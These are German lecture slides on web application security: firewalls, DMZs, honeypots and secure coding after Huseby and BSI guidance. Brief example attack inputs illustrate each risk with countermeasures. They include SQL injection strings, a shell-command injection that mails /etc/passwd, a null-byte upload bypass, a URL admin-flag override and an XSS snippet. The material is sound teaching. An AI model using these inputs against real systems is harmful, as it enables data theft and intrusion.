Sicherheit von Hard- und Softwaresystemen im Web

Vorlesungsreihe Entwicklung webbasierter Anwendungen Sicherheit von Hard- und Softwaresystemen im Web Prof. Dr.-Ing. Thomas Wiedemann email: wiedem@informatik.htw-dresden.de HOCHSCHULE FÜR TECHNIK UND WIRTSCHAFT DRESDEN (FH) Fachbereich Informatik/Mathematik Gliederung Bedrohungspotentiale Hardwareoptionen Firewalls Paketfilter und Application-Gateways Honeypots Programmtechnische Maßnahmen Quellen: [1] BSI-Studie Sicherheit von Webanwendungen [2] BSI-Leifaden Leitfaden zur Entwicklung sicherer Webanwendungen Huseby : Sicherheitsrisiko Webanwendung OWASP - Open Web Application Security Project 2 1

Besondere Relevanz der Bedrohungen im Internet Allgemeine Eigenschaften des Internet Offene Standards und allgemein bekannte Eigenschaften und Schwachstellen der eingesetzten Software (Browser, Server, Prog.) Im Gegensatz zu Firmennetzen und applikationen freier Zugriff auf Server- und Clientrechner Nutzer mit teilweise nicht vorhandenen IT-Kenntnissen und kaum Bewusstsein bzgl. Bedrohungszenarien Die Angreifer (Hacker und auch staatliche Stellen (NSA) können fast vollständig unerkannt (anonym) agieren selbst bei Kenntnis kaum Verfolgungsmöglichkeiten im Ausland Der Erfolg des Internet (amazon u.a.) macht Angriffe auch finanziell attraktiv ermöglicht aktuell fast die komplette Lebensüberwachung (vgl. Smartphones mit gesamter Kommunikation, GPS (Position) und ggf. auch schon Lebensfunktionen (Wecker, Gesundheitsapps etc.) => Aufgrund dieser Problemkomplexität muss auch der Schutz 3 entsprechend vielgestaltig aufgebaut sein! Ebenenmodell zur Sicherheitskonzeption von Webanwendungen in Anlehnung an [1] in Analogie zum OSI-Modell Ebene 0: Absicherung von Host und Netzwerk durch Systemadministration (Basisabsicherung) Ebene 1: Systemebene Absicherung der Basissoftware (Webserver, ggf. Applikationsserver, Datenbank- und ggf. Backend-Systeme (CMS) sicher? ) Ebene 2: Technologieebene > richtige und sichere Auswahl der verwendeten Technologien (z.b. Datenübertragung mit ausreichende Verschlüsselung, Schlüssellänge?) Ebene 3: Implementierungsebene > Vermeidung von Programmierfehlern (SQL-Injection, Cross-SiteScripting ) Ebene 4: Logikebene > Absicherung von Prozessen und Workflows als Ganzes (keine Hintertüren, sichere Passwörter?) Ebene 5: Semantische Ebene > Schutz vor Täuschung und Betrug (Schutz gegen Social Engineering, Phishing- und 4 Fälschungen der Website) 2

Generelle Vorgehensweisen und Besonderheiten Bedingt durch die allgemeine Bedrohungslage (vgl. Folie 3) sind das Auftreten und das Ausnutzen von Problemstellen in Webapps: extrem schnelllebig und massiv, müssen Gegenmaßnahmen so schnell wie möglich ergriffen werden, um Folgeschäden (Backdoor, Trojaner) zu vermeiden Webbasierte Informationssysteme sollten über mehrere Sicherheitsebenen verfügen, so dass auch beim Durchbrechen einer Ebene keine dramatischen Folgen auftreten können entsprechende Ihrer Sicherheitsrelevanz laufend oder periodisch durch entsprechende Tests und Überwachungstools kontrolliert werden (sowohl automatisch wie auch manuell (weil auch automatische Überwachungen wiederum angegriffen werden können) bzgl. ihrer Basissysteme (vgl. Sicherheitsebenen 0 bis 2) ständig in der Literatur (Webseiten, Sicherheitsdienste wie BSI) überwacht werden 5 Bedrohungspotentiale auf der Hardware- und Netzwerkebene HTML- Dokument, Applet oder anderer Content Sicherheitsgrenze Nicht-autorisierter Zugriff, Overload (Denial of Service) Internet Server Erneuter Request (mit Daten) Gefälschte Requests Client Umleitung Mithören (Sniffer) (Applikations server, auch mehrstufig serverseitige Infrastruktur ) Client2 (Angreifer) Zugriff auf interne Serverinfrastruktur 6 3

Gegenmaßnahmen Mithören -> Verschlüsselung (Kryptografie) Umleiten -> Router härten / Clientverkehr überwachen (Applikations-Gateways) Zugriff auf Server und Server-Infrastruktur -> Firewalls und Paketfilter Request-Fälschungen : sichere Programmierung (!?) 7 Definition und Aufgaben einer Firewall Definition Firewall : Eine Firewall ( wörtlich: Brandschutzmauer) ist ein Filter, der Außenstehenden, insbesondere aber Hacker und Cracker, davon abhalten soll, auf einen Server oder in ein Netzwerk einzudringen. Eine Firewall kann ein unabhängiger Rechner sein, aber auch eine Applikation, sie dient als Eingang zu z.b. einer Seite oder einem Netzwerk. (Quelle : hackerz book, Franzis Verlag) Aufgaben Access Control (Zugangskontrolle) auf Netzwerkebene, Benutzerebene & Datenebene Kontrolle auf der Anwendungsebene Entkoppelung von Diensten Network Address Translation (Adreßumsetzung) Beweissicherung und Protokollauswertung Alarmierung bei sicherheitsrelevanten Ereignissen Verbergen der internen Netzstruktur Vertraulichkeit von Nachrichten 8 4

Grundformen von Firewalls IP-Filter (Paket-Filter) Analyse der Adressen und Ports und Einschränkungen derselben Keine Content-Analyse meist sehr schnell Application-Gateway (Proxies) und Stateful Inspection Filter Zusätzliche Analyse des Inhalts der Pakete langsamer, aber sehr viel sicherer 9 IP-Filter (Paket Filter) Analyse und Kontrolle der einund ausgehenden Datenpakete nach Sender / Empfänger IP-Adresse und Port, sowie nach Protokolltypen der Filter arbeitet nach definierten Regeln, welche eine Kommunikation zulassen oder verweigern durchführen von Plausibilitätsprüfungen (z.b. Paketgröße) schreiben von Log-Dateien bei Regelverstoß Anmerkungen zu den Filterregeln Positive Filterregeln (Default Deny): Es muss festgelegt werden, was erlaubt ist. Alles was nicht erlaubt ist, ist verboten. Negative Filterregeln (Default Permit): Es ist zunächst alles erlaubt. Durch spezielle Einträge wird festgelegt, was nicht erlaubt ist. 10 5

Beispiel : IP-Filter (Paket Filter) Port Protokoll Dienst Empfehlung 21 TCP ftp nur für FTP-Server erlaubt 23 TCP telnet nur eigenes Login- Gateway erlaubt 25 TCP smtp nur für Gateway ankommender Mails erlaubt 69 UDP tftp abweisen 79 TCP finger abweisen, problematisch 80 TCP http erlauben............ 11 Application Gateway ist ein Proxy System auf der Applicationebene die Firewall fungiert als Vermittler zwischen kontaktierenden Programmen untersucht den Inhalt des Datenstromes die Kommunikation zwischen einem internen und externen Netz erfolgt über einen Proxy-Server für jeden Dienst (ftp, telnet, usw.) werden Security Proxys eingeführt, diese verhindern den direkten Zugriff (Möglichkeit der Protokollierung (Audit) 12 6

Stateful Inspection Filter ist eine relativ neue Technologie und arbeitet auf der Netz- und Anwendungsebene auf der Basis der Paket Filter wurden Statefull Inspection Filter entwickelt sind in der Lage, sich die Zusammenhänge zwischen einzelnen Datenpaketen zu merken für jeden Datenstrom wird ein eigener Überwachungsprozess gestartet das Verfahren benötigt keine aufwendige Konfiguration und ist relativ schnell 13 Architektur von Firewallsystemen Architekturen Zentrale Firewall Gestaffelte Firewall Entmilitarisierte Zone (DMZ) Screened Gateway Honey Pots Dies ist eine grobe Unterteilung, Abwandlungen und Kombination sind möglich! 14 7

Zentrale Firewall Die zentrale Firewall bildet die einzige Schnittstelle (Choke Point) 15 Gestaffelte Firewall eine Kombination zentralen und dezentralen Komponenten 16 8

Entmilitarisierte Zone DMZ, Demilitarized Zone, oder auch Screened Subnet genannt auch verwendbar als Honey-Pot-System : WWW-Server wird bewusst UNSICHER realisiert und für Angreifer als Lockmittel bereitgestellt die Angriffe werden analysiert und für das echte System zum Härten verwendet 17 Screened Gateway die Kombination von Packet Filter und Application Level Gateway wird auch als Transparent Application Gateway oder Sandwich-System bezeichnet 18 9

Desktopfirewalls preisgünstige Alternative zu professionellen Firewalls (aber nicht besser!!) bieten je nach Features Schutz vor Trojanern, kritischen Programmcode (ActiveX, Java-Applets), Portscans... sie werden auf Softwareebene angewendet und arbeiten auch mit Filterregeln die Schwierigkeit liegt in der Protokollauswertung (gibt Aufschluss über evtl. aufgetretenen Angriff) abhängig von der Firewall und deren Feature ist der Performanceverlust Angriffe und Schutz durch Schwachstellen im Betriebssystem haben Angreifer Erfolg mangelhafte Konfiguration (Filterregeln) und Protokoll Unkenntnis Programmier-Fehler der Firewall sind Schwachstellen unerfahrene Nutzer sollten eine automatische Filter-Regel- Erstellung verwenden um Schutz zu erhalten, Firewall regelmäßig Updaten Vorteile durch Einbindung in Softwareebenen des BS Beispiele für Desktopfirewalls: Tiny (jetzt Kerio) Personal FW, Nortoon Internet Security, Sygate Personal FW Pro, ZoneAlarm usw. 19 Sicherheit & Programmierung der Applikation Auch bei perfekter Firewall besteht letztlich ein Zugriff auf die Standard-Server- Ports und die dort angebotenen Webapplikationen. Auch diese müssen deshalb genauso gesichert werden! Mit sogenannten Webshields (spez. Application-Firewalls) lassen sich auch ggf. fehlerhafte Alt-Webanwendungen noch absichern, z.b. durch Herausfiltern gefährlicher Anfragen! Typische Bedrohungen (wird nie vollständig sein): Einschleussen von gefährlichem Code (SQL-Injection, Shell-Command-Injection,...) Eindringen oder Übernahme von Sessions (Session-Hijacking) Passwortdiebstahl oder Erraten von Passwörtern Cross-Site-Scripting Hauptquelle der folgenden Folien : Sverre Huseby: Sicherheitsriskiko Web-Anwendung. dpunkt-verlag 20 10

SQL-Injection & Shell-Command-Injection Hauptproblem: Metazeichen von Subsystemen (Datenbank oder Fileserver) werden an diese ungeprüft weitergegeben Beispiele: Ermittlung eines Accounts und gleichzeitige Passwortprüfung: cmd= Select * from user where uname= + username + and pw= +pw + funktioniert für normale Anfragen Reaktion auf username : John --? > -- leiten Kommentar ein und unterdrücken damit die PW-Prüfung Alle John s werden anerkannt! noch kritischer: John ; Delete from user -- Webseite mit Versand von direkten Emailbestätigungen mit Perl : $email = $userdata{ email } open ( MAIL, /usr/sbin/sendmail $email ) Anmeldung mit : tom@web.de; mail tom@web.de < /etc/passwd => sendet passwd-datei an die angegeben Emailadresse! Grundproblem: Input schaltet Subsystem in anderen Kontext!!!!! 21 Vermeidung von Injection-Angriffen Input nur gefiltert an Subsysteme weitergeben Metazeichen ausfiltern (Achtung: Bei Passwörtern sind Metazeichen teilweise gewollt und müssen escapt werden!!) => falls möglich, als Where-Klausel-Wert numerische Werte verwenden und diese einer String -> Value -> String Wandlung unterziehen task.php?123; delete... wird zu 123 beim Filtern auch auf mehrstufige Systeme achten Unicode-Texte werde eventuell noch einmal konvertiert MySQL: char(83,81,76) -> wird zu SQL gewandelt... Bei Wechsel zwischen Systemen und speziell DB-Systemen auf geänderte Metazeichen achten! Prepared statements in DB verwenden (schneller & sicherer, da Komandointerpreter der DB inaktiv ist!) Pipe Operationen auf der Basis von Nutzereingaben 22 vermeiden 11

Typische C- Sicherheitsprobleme C / C++ hat schlechtes Fehlermanagement bei Strings und Arrays : Überläufe werden nicht automatisch erkannt und verletzten unsichtbar andere Speicherbereiche -> bei richtiger Auslegung kann der Rücksprungstack manipuliert werden und sind Root-Funktionen aufrufbar fehlende 0-Zeichen am Ende vom Strings sind kritisch bis tödlich Beispiel: Erlaubter Upload von NUR Grafikdateien Check in PHP mit : if (strcmp(substr ($filename, -4),.jpg ) ==0 ) // OK => darf uploaden => Angreifer übergibt Datei : hackscript.php%00.jpg => PHP erkennt.jpg und erlaubt Upload! => Betriebssystem in C wandelt aber %00 in \0 und speichert hackscript.php ab! => die PHP- Grafikdatei kann danach vom Hacker aufgerufen werden!!! Gegenmaßnahmen: Es ist auf ALLE Arten von \0 Kodierungen zu testen, auch in PHP! IMMER auf zulässige Länge von Strings und Wertebereich von Zahlen testen!!! Sekundär: man muß generell davon ausgehen, daß obiger Test geknackt wird -> Bildergalerie darf NICHT AUSFÜHRBAR sein 23!!!) Die unsichtbare Sicherheitsbarriere Bei jeder Server->Client->Server-Aktion überscheiten die Daten eine Sicherheitsbarriere -> man kann insbesondere in mehrstufigen Systemen (Passworteingabe -> Autorisierung -> Shop...) den Daten vom Client NICHT trauen es sind generell IMMER wieder ALLE Validierungen notwendig Hidden-Felder sind komfortabel, können aber auf der Client-Seite gefälscht werden. Java-Script-Validierungen können gefälscht werden! Es müssen alle Prüfungen serverseitig NOCH EINMAL vorgenommen werden! Bsp: Nach erfolgter Anmeldung prüft ein Script auf Admin-Status If ( instr(request( URL, admin ) >0 then... Adminrechte (VB/ASP) -> Angreifer muß nur erfolgreiche Standardanmeldung um?url=admin ergänzen.. => NIEMALS allein auf URL testen!!!!!! Immer Gesamtstatus testen! BSP 2: PHP: in der Vergangenheit automatische Generierung von Var. aus URL im Code : $isadmin = checkadmin(...) if ( $isadmin) { # führe Adminjob aus...) Angreifer hängt.php?isadmin=1 an URL und überschreibt damit die interne Variable! =>> diese und möglichst alle ähnlichen Automatiken abschalten! 24 12

Cross-Site-Scripting auch wenn der eigene Server perfekt gegen Metazeichen-Attacken und andere Angriffe geschützt ist, müssen auch die Daten, welche nur gespeichert und danach wieder als HTML-ausgegeben werden, analysiert werden (Text rein/text raus) Angriffspunkte : Eintrag von Javascriptcode in Diskussionsbeiträgen <script> for (i=0;i<99;i++) window.open(..nette Werbeseite öffnen..) </script> Session-Hijacking Hacker integriert (unsichtbaren) Javascriptcode (siehe oben) in Diskussionsbeitrag Bei Leser wird dieser Code ausgeführt und liest Session-Cookies von anderen Websites aus und sendet diese an Hacker, dieser besucht dann mit den Session-Cookies die Webseiten Session-Riding Der User-Browser wird in angemeldeten Zustand durch unsichtbare Links (z.b. in Bildern oder Frames) zu unbeabsichtigten Handlungen (z.b. Gebot auf Ebay-Angebot) veranlasst! Gegenmaßnahmen : Cross-Site-Scrpting ist ebenfalls wieder ein Metazeichenproblem es wird ungewollt in den Script-Modus gewechselt Herausfiltern: entweder White-Listing : es werden nur gültige Zeichen durchgelassen(++) Blacklisting : es werden nur gefährliche Abschnitte ( <script>) herausgeschnitten Konvertieren aller Metazeichen : & => &AMP, < => &lt, > => &gt, => 25 & quot (macht den Code ungefährlich, aber unschöne Seiten in Foren etc....) Regeln für die sichere Programmierung (nach Huseby) Unterschätze NIEMALS den Angreifer, insbesondere wenn sich durch den Angriff direkt oder indirekt (Spam / Rufmord) Geld verdienen lässt! Verwende POST, wenn eine Aktion Seiteneffekte hat (POST ist im Gegensatz zu GET nicht ohne Erlaubnis des Nutzers wiederholbar!) Behandle bei ALLEN Aus- und Eingaben die Metazeichen (bei zukünftigen, komplexen Systemen können Ausgabedaten auch aus anderen Quellen (SOA / WAP-Handy) kommen! Vertraue NIE Daten vom Client! (auch nicht dem HTTP-Kopf / Refererer) Verwende NIE Client-Scripting für sicherheitsrelevante Dinge! Generiere immer eine neue SessionID bei geänderten Kontext (->root)! Gebe nie zu ausführliche Fehlermeldungen an den Client weiter, insbesondere keine Datenbankfehlermeldungen im Detail (erlaubt neue Angriffe auf Felder)! Strebe gestaffelte Abwehr an. Gehe immer davon aus, daß mehrere Sicherheitsebenen durchbrochen werden (-> NUR-Lese-Rechte für bestimmte DB-Tabellen gegen SQL-Injections, ein Webserver muß NICHT überall Schreibrechte haben). Gehe davon aus, daß der Quellcode dem Angreifer zugänglich wird! Schreibe getrennte Anwendungs-LOGs und speichere insbesondere verdächtige Ergebnisse & Alarme aus der Metadatenfilterung (wenn ein Hack-Versuch missglückt, kommt eventuell kurz darauf ein erfolgreicher, meist jedoch von der gleichen IP-Adresse -> ggf. Honeypot-Verfahren!!) 26 13

Allgemeine Empfehlungen für die sichere Programmierung Größte Feinde der Sicherheit : Zeitmangel (Deadline nahe, Vertrieb nervt...) es werden schnelle, aber unsichere Lösungen gebastelt (Hauptsache es läuft erst einmal, ein Budget für die Sicherheit gibt es danach nicht mehr) Unordnung und unübersichtlicher Code : man vergisst, ob man die Metazeichenbehandlung oder den erneuten Passwortcheck im Kontext schon gemacht hat ->> besser Sicherheitsarbeiten ZENTRALISIEREN an nur genau einer Stelle! ->> Sicherheitsmechanismen müssen quasi automatisch ablaufen (-> Frameworks) -> Programme modular, wartbar und selbsterklärend schreiben Ungenügende Kenntnisse und zu großes Vertrauen in die Beschreibung von API s kritische Bereiche praktisch austesten! nach Updates oder Installation neuer Module erneut abtesten!!! 27 Spezielle Empfehlungen für sichere Webapplikationen nach BSI Eine große Anzahl von weiteren, konkreten Empfehlungen liefern Dokumente des BSI: Studie Sicherheit von Webanwendungen- Maßnahmenkatalog und Best Practices Die Massnahmen müssen den notwendigen Schutzgrad berücksichtigen! Einige der Schwerpunkte sind: Systemkonfigurationen & User-Management: immer mit minimal möglichen Userrechten arbeiten (Serverdienste NICHT komplett im Admin-Modus!!!) (M340), Shelldienste & Tools soweit wie möglich deaktivieren oder deinstallieren, getrennte Verzeichnisse für Programme und Daten und entsprechende restriktive Rechte (kein Upload in Scriptbereiche, keine Ausführbarkeit in Datenbereichen) Sessionmanagement: immer Session invalidieren bei Abmeldung oder Zeitablauf, damit kein Zurück-möglich ist! vers. Massnahmen gegen Session Hijacking & Session Riding (siehe Studie) Minimalitätsprinzip für Informationen (vgl. M250) Falsche Infos: Bitte geben Sie ihre Benutzerkennung und die 5-stellige PIN an! ->99999 Codes Zu viele Fehlerinfos: Benutzer existiert nicht kann zur Abfrage aller Nutzer dienen! Bei Emailversand z.b. bei Passwort vergessen: Diese Email existiert nicht! -> besser ist: Neues Passwort wurde versandt, falls die Email korrekt war! Fingerprints von Opensource- & Standardsoftware entfernen: Module und Verzeichnisse umbenennen, auf Default-user und Default-Tools prüfen und ggf. deaktivieren (z.b. user anonymous bei FTP!!!)! 28 14

Empfehlungen für die ENTWICKLING sicherer Webapplikationen Speziell für die ENTWICKLUN NEUER Applikationen ist eine weitere Studie des BSI Leitfaden zur Entwicklung sicherer Webanwendungen - Empfehlungen und Anforderungen an die Auftragnehmer (auch in Spezialvers. für öffentl. Auftragg.) auch mit Verweisen auf weitere Standards und Empfehlungen (BSI-Standards zur Internet- Sicherheit (Isi-Reihe), OWASP (Open Web Application Security Project)-Normen Schwerpunkte bei der Planung und Projektsteuerung: Detailanalyse der Anforderungen und der Auftragnehmer -> (Sicherheits-) Reifegrad der Auftragnehmer und deren Systeme? in Analogie zu Use-Cases auch Abuse-Case (Missbrauchsszenarien von Funktionen) Implementierung: Sicherheit der Sourcecodes, Secure Coding Standards Test: Security Tests, Penetration Tests, Auslieferung und Betrieb: sichere Auslieferung, Härtung der produktiven Systeme, Designprinzipien für sichere Systeme (nicht vollständig -> Studie) Economy of Mechanism ( Minimalprinzip ) Fail-safe Defaults & Default Deny (Sichere Standardeinstellungen) Complete Mediation (etwa Vollständige Zugriffskontrolle ) Open Design (Offenes Design) Segregation of Duties (Funktionstrennung bei der Entw. {nur gemeins. Freigabe}) 29 Zusammenfassung Statements : Sicherheit ist kein Produkt, sondern ein Prozess! Man kann Sicherheit nicht am Ende anbauen! Schlussfolgerungen Sicherheit ist nur so gut wie das schwächste Glied aus Hard- und Software durch die komplexen, stark gegliederten Web-Systeme sind ebenso mehrstufige Sicherheitssysteme notwendig Ein Sicherheitsproblem zu erkennen und dafür entsprechend leistungsfähige Werkzeuge zu haben, ist fast genauso wichtig wie die Prävention durch saubere Programmierung! Es sind auch Vorkehrungen für den Super-Gau ( delete * ) zu treffen, z.b. durch Backups und Spiegelungen der aktiven Daten! 30 15

Abschlußfazit 100 %ige Sicherheit im Web lässt sich nur mit dem Seitenschneider erreichen... (Zeitschrift Wired, San Francisco, ca. 1997) Joachim Ringelnatz Sicher ist, dass nichts sicher ist. Selbst das ist nicht sicher. 31 16